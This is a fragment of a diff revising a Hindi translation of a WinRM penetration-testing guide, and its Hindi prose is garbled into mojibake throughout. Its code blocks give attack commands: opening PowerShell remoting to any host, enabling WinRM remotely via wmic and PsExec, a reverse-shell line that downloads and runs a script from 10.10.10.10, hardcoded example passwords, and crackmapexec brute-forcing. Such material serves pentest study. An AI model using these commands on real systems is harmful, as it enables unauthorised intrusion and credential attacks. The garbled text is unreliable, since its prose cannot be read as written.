рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ SOAP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред рдпрд╣ рдореВрд▓ рд░реВрдк рд╕реЗ WMI рджреНрд╡рд╛рд░рд╛ рд╕рдВрдЪрд╛рд▓рд┐рдд рд╣реИ, рдЬреЛ WMI рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд▓рд┐рдП HTTP-рдЖрдзрд╛рд░рд┐рдд рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рд╕реНрддреБрдд рд╣реЛрддрд╛ рд╣реИред -рдХрд┐рд╕реА рдорд╢реАрди рдкрд░ WinRM рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ PowerShell рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реАрдзреА рджреВрд░рд╕реНрде рдкреНрд░рд╢рд╛рд╕рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ SSH рдЕрдиреНрдп рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд▓рд┐рдП рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ WinRM рдХрд╛рд░реНрдпрд╢реАрд▓ рд╣реИ, рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкреЛрд░реНрдЯ рдХреЗ рдЦреБрд▓рдиреЗ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИ: +рдХрд┐рд╕реА рдорд╢реАрди рдкрд░ WinRM рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ PowerShell рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рд░рд▓ рджреВрд░рд╕реНрде рдкреНрд░рд╢рд╛рд╕рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬреИрд╕реЗ SSH рдЕрдиреНрдп рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд▓рд┐рдП рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ WinRM рдХрд╛рд░реНрдпрд╢реАрд▓ рд╣реИ, рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкреЛрд░реНрдЯ рдХреЗ рдЦреБрд▓рдиреЗ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИ: - **5985/tcp (HTTP)** - **5986/tcp (HTTPS)** -рдЙрдкрд░реЛрдХреНрдд рд╕реВрдЪреА рдореЗрдВ рд╕реЗ рдПрдХ рдЦреБрд▓рд╛ рдкреЛрд░реНрдЯ рдпрд╣ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИ рдХрд┐ WinRM рд╕реЗрдЯрдЕрдк рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рджреВрд░рд╕реНрде рд╕рддреНрд░ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред +рдЙрдкрд░реЛрдХреНрдд рд╕реВрдЪреА рдореЗрдВ рд╕реЗ рдПрдХ рдЦреБрд▓рд╛ рдкреЛрд░реНрдЯ рдпрд╣ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИ рдХрд┐ WinRM рд╕реЗрдЯрдЕрдк рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рджреВрд░рд╕реНрде рд╕рддреНрд░ рдЖрд░рдВрдн рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред ### **WinRM рд╕рддреНрд░ рд╢реБрд░реВ рдХрд░рдирд╛** -PowerShell рдХреЛ WinRM рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, Microsoft рдХрд╛ `Enable-PSRemoting` cmdlet рдХрд╛рдо рдореЗрдВ рдЖрддрд╛ рд╣реИ, рдЬреЛ рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ рджреВрд░рд╕реНрде PowerShell рдХрдорд╛рдВрдб рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред рдКрдВрдЪреЗ PowerShell рдПрдХреНрд╕реЗрд╕ рдХреЗ рд╕рд╛рде, рдЗрд╕ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдФрд░ рдХрд┐рд╕реА рднреА рд╣реЛрд╕реНрдЯ рдХреЛ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХреЗ рд░реВрдк рдореЗрдВ рдирд╛рдорд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ: -```powershell +PowerShell рдХреЛ WinRM рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, Microsoft рдХрд╛ `Enable-PSRemoting` cmdlet рдХрд╛рд░реНрдп рдореЗрдВ рдЖрддрд╛ рд╣реИ, рдЬреЛ рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ рджреВрд░рд╕реНрде PowerShell рдЖрджреЗрд╢ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред рдЙрдЪреНрдЪ рд╕реНрддрд░ рдХреА PowerShell рдкрд╣реБрдВрдЪ рдХреЗ рд╕рд╛рде, рдЗрд╕ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдФрд░ рдХрд┐рд╕реА рднреА рд╣реЛрд╕реНрдЯ рдХреЛ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХреЗ рд░реВрдк рдореЗрдВ рдирд╛рдорд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЖрджреЗрд╢ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ: +```bash Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` -рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг `trustedhosts` рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдореЗрдВ рдПрдХ рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб рдЬреЛрдбрд╝рдиреЗ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ, рдпрд╣ рдПрдХ рдХрджрдо рд╣реИ рдЬрд┐рд╕реЗ рдЗрд╕рдХреЗ рдкреНрд░рднрд╛рд╡реЛрдВ рдХреЗ рдХрд╛рд░рдг рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рд╡рд┐рдЪрд╛рд░ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдпрд╣ рднреА рдиреЛрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдХреА рдорд╢реАрди рдкрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░рдХрд╛рд░ рдХреЛ "Public" рд╕реЗ "Work" рдореЗрдВ рдмрджрд▓рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +рдЗрд╕ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдореЗрдВ `trustedhosts` рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдореЗрдВ рдПрдХ рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб рдЬреЛрдбрд╝рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рдЗрд╕рдХреЗ рдкреНрд░рднрд╛рд╡реЛрдВ рдХреЗ рдХрд╛рд░рдг рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рд╡рд┐рдЪрд╛рд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдпрд╣ рднреА рдиреЛрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдХреА рдорд╢реАрди рдкрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░рдХрд╛рд░ рдХреЛ "Public" рд╕реЗ "Work" рдореЗрдВ рдмрджрд▓рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, WinRM рдХреЛ `wmic` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рд╕рдХреНрд░рд┐рдп** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореЗрдВ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ: -```powershell +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, WinRM рдХреЛ `wmic` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ** рд╕рдХреНрд░рд┐рдп рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореЗрдВ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ: +```bash wmic /node: process call create "powershell enable-psremoting -force" ``` -рдпрд╣ рд╡рд┐рдзрд┐ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ WinRM рдХреА рд╕реЗрдЯрдЕрдк рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬреЛ рджреВрд░ рд╕реЗ Windows рдорд╢реАрдиреЛрдВ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рдиреЗ рдореЗрдВ рд▓рдЪреАрд▓рд╛рдкрди рдмрдврд╝рд╛рддреА рд╣реИред +рдпрд╣ рд╡рд┐рдзрд┐ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ WinRM рд╕реЗрдЯрдЕрдк рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬреЛ рджреВрд░ рд╕реЗ Windows рдорд╢реАрдиреЛрдВ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рдиреЗ рдореЗрдВ рд▓рдЪреАрд▓рд╛рдкрди рдмрдврд╝рд╛рддреА рд╣реИред ### рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ -рдЕрдкрдиреЗ рд╣рдорд▓реЗ рдХреА рдорд╢реАрди рдХреА рд╕реЗрдЯрдЕрдк рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, `Test-WSMan` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рд▓рдХреНрд╖реНрдп рдиреЗ WinRM рдХреЛ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рд╣реИред рдЗрд╕ рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдХреЗ, рдЖрдкрдХреЛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╕рдВрд╕реНрдХрд░рдг рдФрд░ wsmid рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╡рд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП, рдЬреЛ рд╕рдлрд▓ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИред рдиреАрдЪреЗ рдПрдХ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП рд▓рдХреНрд╖реНрдп рдФрд░ рдПрдХ рдЕрд╕рдВрд░рдЪрд┐рдд рд▓рдХреНрд╖реНрдп рдХреЗ рд▓рд┐рдП рдЕрдкреЗрдХреНрд╖рд┐рдд рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЙрджрд╛рд╣рд░рдг рджрд┐рдП рдЧрдП рд╣реИрдВ: +рдЕрдкрдиреЗ рд╣рдорд▓реЗ рдХреА рдорд╢реАрди рдХреЗ рд╕реЗрдЯрдЕрдк рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, `Test-WSMan` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рд▓рдХреНрд╖реНрдп рдкрд░ WinRM рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕ рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдкрд░, рдЖрдкрдХреЛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╕рдВрд╕реНрдХрд░рдг рдФрд░ wsmid рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╡рд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП, рдЬреЛ рд╕рдлрд▓ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИред рдиреАрдЪреЗ рдПрдХ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП рд▓рдХреНрд╖реНрдп рдФрд░ рдПрдХ рдЧреИрд░-рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП рд▓рдХреНрд╖реНрдп рдХреЗ рд▓рд┐рдП рдЕрдкреЗрдХреНрд╖рд┐рдд рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЙрджрд╛рд╣рд░рдг рджрд┐рдП рдЧрдП рд╣реИрдВ: - рдПрдХ рд▓рдХреНрд╖реНрдп рдЬреЛ **рд╕рд╣реА** рдврдВрдЧ рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЙрд╕рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦреЗрдЧрд╛: ```bash Test-WSMan ``` -рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╕рдВрд╕реНрдХрд░рдг рдФрд░ wsmid рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП, рдЬреЛ рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ WinRM рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд╕реЗрдЯрдЕрдк рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╕рдВрд╕реНрдХрд░рдг рдФрд░ wsmid рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП, рдЬреЛ рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ WinRM рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд╕реЗрдЯрдЕрдк рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред ![](<../images/image (582).png>) -- рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд, рдПрдХ рд▓рдХреНрд╖реНрдп **рдЬреЛ** WinRM рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЙрд╕рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдРрд╕рд╛ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдирд╣реАрдВ рдорд┐рд▓реЗрдЧреА, рдЬреЛ рдЙрдЪрд┐рдд WinRM рд╕реЗрдЯрдЕрдк рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИред +- рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд, рдПрдХ рд▓рдХреНрд╖реНрдп **рдЬреЛ** WinRM рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЙрд╕рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдРрд╕реА рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдирд╣реАрдВ рдорд┐рд▓реЗрдЧреА, рдЬреЛ рдЙрдЪрд┐рдд WinRM рд╕реЗрдЯрдЕрдк рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддреА рд╣реИред ![](<../images/image (458).png>) ### рдПрдХ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ -рд▓рдХреНрд╖рд┐рдд рдорд╢реАрди рдкрд░ `ipconfig` рдХреЛ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдФрд░ рдЗрд╕рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВ: -```powershell +рд▓рдХреНрд╖реНрдп рдорд╢реАрди рдкрд░ `ipconfig` рдХреЛ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдФрд░ рдЗрд╕рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВ: +```bash Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] ``` ![](<../images/image (151).png>) -рдЖрдк рдЕрдкрдиреЗ рд╡рд░реНрддрдорд╛рди PS рдХрдВрд╕реЛрд▓ рдХрд╛ **рдХрдорд╛рдВрдб рднреА _**Invoke-Command**_ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ**ред рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬрд┐рд╕реЗ _**enumeration**_ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЖрдк рдЗрд╕реЗ **рдПрдХ рджреВрд░рд╕реНрде рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдЪрд▓рд╛рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ**, рддреЛ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: -```powershell +рдЖрдк рдЕрдкрдиреЗ рд╡рд░реНрддрдорд╛рди PS рдХрдВрд╕реЛрд▓ рдХрд╛ **рдХрдорд╛рдВрдб рднреА _**Invoke-Command**_ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ**ред рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ _**enumeration**_ рдирд╛рдордХ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдФрд░ рдЖрдк рдЗрд╕реЗ **рдПрдХ рджреВрд░рд╕реНрде рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдЪрд▓рд╛рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ**, рддреЛ рдЖрдк рдРрд╕рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +```bash Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` ### рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдПрдБ -```powershell +```bash Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta] ``` ### рд░рд┐рд╡рд░реНрд╕-рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ -```powershell +```bash Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"} ``` ### рдПрдХ PS рд╕рддреНрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рдЗрдВрдЯрд░рдПрдХреНрдЯрд┐рд╡ PowerShell рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `Enter-PSSession` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ: -```powershell +```bash #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) @@ -85,18 +85,18 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New ``` ![](<../images/image (1009).png>) -**рд╕рддреНрд░ рдПрдХ рдирдП рдкреНрд░реЛрд╕реЗрд╕ (wsmprovhost) рдореЗрдВ "рдкреАрдбрд╝рд┐рдд" рдХреЗ рдЕрдВрджрд░ рдЪрд▓реЗрдЧрд╛** +**рд╕рддреНрд░ рдПрдХ рдирдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ (wsmprovhost) рдореЗрдВ "рд╢рд┐рдХрд╛рд░" рдХреЗ рдЕрдВрджрд░ рдЪрд▓реЗрдЧрд╛** ### **WinRM рдХреЛ рдЦреЛрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рдирд╛** PS Remoting рдФрд░ WinRM рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд▓реЗрдХрд┐рди рдХрдВрдкреНрдпреВрдЯрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдирд╣реАрдВ рд╣реИ, рдЖрдк рдЗрд╕реЗ рд╕рдХреНрд╖рдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: -```powershell +```bash .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force" ``` ### Saving and Restoring sessions рдпрд╣ **рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛** рдпрджрд┐ **рднрд╛рд╖рд╛** рджреВрд░рд╕реНрде рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ **рд╕реАрдорд┐рдд** рд╣реИред -```powershell +```bash #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) @@ -108,7 +108,7 @@ $sess1 = New-PSSession -ComputerName [-SessionOption (New-PSSessi Enter-PSSession -Session $sess1 ``` рдЗрд╕ рд╕рддреНрд░ рдХреЗ рдЕрдВрджрд░ рдЖрдк _Invoke-Command_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ PS рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -```powershell +```bash Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1 ``` ### Errors @@ -126,7 +126,7 @@ winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' ### рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕ -рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВ, winrm рдХрд╛ рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕рд┐рдВрдЧ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░ рд╕рдХрддрд╛ рд╣реИред +рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВ, winrm рдкрд░ рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕рд┐рдВрдЧ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░ рд╕рдХрддреА рд╣реИред ```ruby #Brute force crackmapexec winrm -d -u usernames.txt -p passwords.txt @@ -146,7 +146,7 @@ gem install evil-winrm ```ruby evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i / ``` -**evil-winrm** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **IPv6 рдкрддреЗ** рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП _**/etc/hosts**_ рдХреЗ рдЕрдВрджрд░ рдПрдХ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдмрдирд╛рдПрдВ, IPv6 рдкрддреЗ рдХреЗ рд▓рд┐рдП рдПрдХ **рдбреЛрдореЗрди рдирд╛рдо** рд╕реЗрдЯ рдХрд░реЗрдВ рдФрд░ рдЙрд╕ рдбреЛрдореЗрди рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВред +**evil-winrm** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **IPv6 рдкрддреЗ** рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП _**/etc/hosts**_ 